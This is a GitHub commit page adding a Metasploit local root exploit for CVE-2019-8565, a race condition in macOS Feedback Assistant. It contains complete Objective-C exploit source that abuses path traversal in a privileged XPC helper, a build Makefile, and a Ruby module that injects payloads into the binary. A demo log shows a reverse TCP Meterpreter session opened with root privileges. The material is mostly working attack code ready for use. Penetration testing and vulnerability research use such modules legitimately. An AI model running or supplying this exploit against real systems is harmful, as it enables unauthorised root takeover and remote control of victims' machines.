Skip to content
Permalink
Browse files

Land #11818, Add CVE-2019-8565 OSX Feedback Assistant local root exploit

  • Loading branch information...
wchen-r7 committed May 20, 2019
2 parents 581b207 + 701e52b commit cb1333de452d7baccec4b33f5106c2e54021096a
Binary file not shown.
@@ -0,0 +1,33 @@
## Background

This module exploits a race condition in MacOS' Feedback Assistant, which would lead to root local
privilege escalation.

## Demo

```
msf5 exploit(osx/local/feedback_assistant_root) > check
[*] The target appears to be vulnerable.
msf5 exploit(osx/local/feedback_assistant_root) > run
[*] Started reverse TCP handler on 172.16.135.1:5555
[*] Uploading file: '/tmp/.fjbgrf'
[*] Uploading file: '/tmp/.fljhjbwe'
[*] Executing exploit '/tmp/.fljhjbwe'
[*] Transmitting first stager...(210 bytes)
[*] Exploit result:
2019-05-20 10:36:13.749 .fljhjbwe[1059:12661] [LightYear] canary: /usr/local/bin/netdiagnose
2019-05-20 10:36:13.749 .fljhjbwe[1059:12661] [LightYear] dictionary: {
"/var/log/../../../var/folders/bg/sp3s48cs1zn3yvtgjrn6ggs00000gn/T/44E5C7D8-2B40-472C-9073-F734E924F662-1059-000002240EBB72B8/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose";
}
2019-05-20 10:36:13.750 .fljhjbwe[1059:12661] [LightYear] Now race
2019-05-20 10:36:13.881 .fljhjbwe[1059:12661] [LightYear] Stage 1 succeed
2019-05-20 10:36:14.099 .fljhjbwe[1059:12663] [LightYear] It works!
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (808504 bytes) to 172.16.135.130
[*] Meterpreter session 2 opened (172.16.135.1:5555 -> 172.16.135.130:49256) at 2019-05-20 12:36:14 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter >
```
@@ -0,0 +1,19 @@
SRC = exploit.m
OUTPUT = bin/exploit

.PHONY: exec

exec: $(SRC)
@mkdir -p bin
clang $(SRC) -framework Foundation -o $(OUTPUT)

run: exec
$(OUTPUT)

format:
clang-format -i $(SRC)

install:
mkdir -p ../../../../data/exploits/CVE-2019-8565/
cp $(OUTPUT) ../../../../data/exploits/CVE-2019-8565/exploit

@@ -0,0 +1,210 @@
#import <Foundation/Foundation.h>

#include <notify.h>
#include <spawn.h>
#include <sys/stat.h>

#define USR_LOCAL_BIN "/usr/local/bin"
#define BINARY "/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/MacOS/Feedback Assistant"

#define MOBILITY_SCRIPT \
"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"
#define NOTIFY_NAME "me.chichou.fbaroot"

#define LOG(fmt, ...) NSLog(@"[LightYear] " fmt "\n", ##__VA_ARGS__)

char payload_cmd[1024] = "ROOT_PAYLOAD_PLACEHOLDER";

#define SHELL_TEMPLATE \
@"#!/bin/sh\n" \
"%@\n" \
"%@\n" \
"rm -- \"$0\"\n"

@protocol FBAPrivilegedDaemon <NSObject>
- (void)copyLogFiles:(NSDictionary *)mapping;
- (void)runMobilityReportWithDestination:(NSURL *)dest;
@end

extern char **environ;

void child(const char *path, int stage) {
NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]];
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd"
options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)];
[connection resume];
id remote = connection.remoteObjectProxy;
if (stage == 1)
[remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]];

else if (stage == 2)
[remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/whatever.mdsdiagnostic"]];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

NSString *relative(NSString *component) {
return [[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:component];
}

NSMutableDictionary *traversal(NSDictionary *mapping) {
NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init];
for (NSString *key in mapping) {
NSString *val = mapping[key];
NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key];
NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val];
transformed[newKey] = newVal;
}
return transformed;
}

NSDictionary *prepare() {
NSError *err = nil;
NSFileManager *mgr = [NSFileManager defaultManager];
NSString *guid = [[NSProcessInfo processInfo] globallyUniqueString];
NSString *cwd = [NSTemporaryDirectory() stringByAppendingPathComponent:guid];
[mgr removeItemAtPath:cwd error:nil];

NSString *fakebin = [cwd stringByAppendingPathComponent:@"bin"];
[mgr createDirectoryAtPath:fakebin withIntermediateDirectories:YES attributes:nil error:&err];

// argument for copyLogFiles:
NSMutableDictionary *mapping = [[NSMutableDictionary alloc] init];

// write launcher
NSString *launcher = [fakebin stringByAppendingPathComponent:@"root.sh"];

NSString *payload = [NSString stringWithCString:payload_cmd encoding:NSASCIIStringEncoding];
NSString *exec = [[NSBundle mainBundle] executablePath];
NSString *sh = [NSString stringWithFormat:SHELL_TEMPLATE, exec, payload];
[sh writeToFile:launcher atomically:NO encoding:NSUTF8StringEncoding error:&err];
// LOG(@"%@\n%@", sh, err);

// find /usr/local/bin/*
NSString *mobility = [NSString stringWithContentsOfFile:@MOBILITY_SCRIPT encoding:NSUTF8StringEncoding error:&err];
NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"if \\[ -x /usr/local/bin/(\\w+)"
options:NSRegularExpressionCaseInsensitive
error:&err];
NSTextCheckingResult *match = [regex firstMatchInString:mobility options:0 range:NSMakeRange(0, [mobility length])];
if (!match) {
LOG("Fatal error: this exploit may not work on your system.");
return nil;
}

NSString *privileged = [mobility substringWithRange:[match rangeAtIndex:1]];
NSString *canary = [@USR_LOCAL_BIN stringByAppendingPathComponent:privileged];

LOG("canary: %@", canary);

BOOL isDir = NO;
BOOL doesBrewExists = [mgr fileExistsAtPath:@USR_LOCAL_BIN isDirectory:&isDir];
if (doesBrewExists && isDir) {
mapping[launcher] = canary;
} else {
mapping[fakebin] = @USR_LOCAL_BIN;
}

NSString *session = [cwd stringByAppendingPathComponent:@"task.plist"];
NSDictionary *transformed = traversal(mapping);
[transformed writeToFile:session atomically:NO];
LOG("dictionary: %@", transformed);
return @{@"session" : session, @"canary" : canary};
}

#define RACE_COUNT 16

#define SPAWN_CHILDREN(stage) \
for (int i = 0; i < RACE_COUNT; i++) \
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]];

#define TERMINATE_CHILDREN \
for (int i = 0; i < RACE_COUNT; i++) \
[processes[i] terminate];

int exploit(NSString *session, const char *canary) {
int status = 0;
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

LOG("Now race");
SPAWN_CHILDREN(1);

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

while (access(canary, F_OK) == -1) {
nanosleep(&ts, NULL);
if (++i > 4) { // wait for 2 seconds at most
LOG("Stage 1 timed out, retry");
status = -1;
goto cleanup;
}
}

chmod(canary, 0777);

LOG("Stage 1 succeed");
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
int token;
notify_register_dispatch(NOTIFY_NAME, &token, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0),
^(int token) {
LOG("It works!");
dispatch_semaphore_signal(semaphore);
notify_cancel(token);
});
SPAWN_CHILDREN(2);

// wait for 2s
dispatch_time_t timeout = dispatch_time(DISPATCH_TIME_NOW, 2.0 * NSEC_PER_SEC);
status = dispatch_semaphore_wait(semaphore, timeout);
if (status != 0)
LOG("Timed out");

cleanup:
TERMINATE_CHILDREN
return status;
}

int root() {
notify_post(NOTIFY_NAME);
LOG("I am groot (euid: %d)", geteuid());
LOG("bye");
return 0;
}

int main(int argc, char *argv[]) {
@autoreleasepool {
if (geteuid()) {
if (argc == 3) {
child(argv[1], atoi(argv[2]));
return 0;
}

NSDictionary *ctx = prepare();
if (!ctx)
return 1;

for (int i = 0; i < 3; i++) {
if (exploit(ctx[@"session"], [ctx[@"canary"] UTF8String]) == 0)
return 0;
}

LOG("all tries failed");
return 1;
} else {
return root();
}
}
}
@@ -0,0 +1,105 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Feedback Assistant Race Condition',
'Description' => %q{
This module exploits a race condition vulnerability in Mac's Feedback Assistant.
A successful attempt would result in remote code execution under the context of
root.
},
'License' => MSF_LICENSE,
'Author' => [
'CodeColorist', # Discovery and exploit
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-8565'],
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],
['URL', 'https://support.apple.com/en-in/HT209600'],
['URL', 'https://github.com/ChiChou/sploits'],
],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => [ 'osx', 'python', 'unix' ],
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Apr 13 2019'))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end

def check
version = Gem::Version.new(get_system_version)
if version >= Gem::Version.new('10.14.4')
CheckCode::Safe
else
CheckCode::Appears
end
end

def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

case target['Arch']
when ARCH_X64
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
upload_executable_file(payload_file, binary_payload)
root_cmd = payload_file
when ARCH_PYTHON
root_cmd = "echo \"#{payload.encoded}\" | python"
else
root_cmd = payload.encoded
end
root_cmd = root_cmd + " & \0"
if root_cmd.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
end

exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
exploit_data[placeholder_index, root_cmd.length] = root_cmd

exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)

print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec(exploit_file)
print_status("Exploit result:\n#{result}")
end
end

0 comments on commit cb1333d

Please sign in to comment.
You can’t perform that action at this time.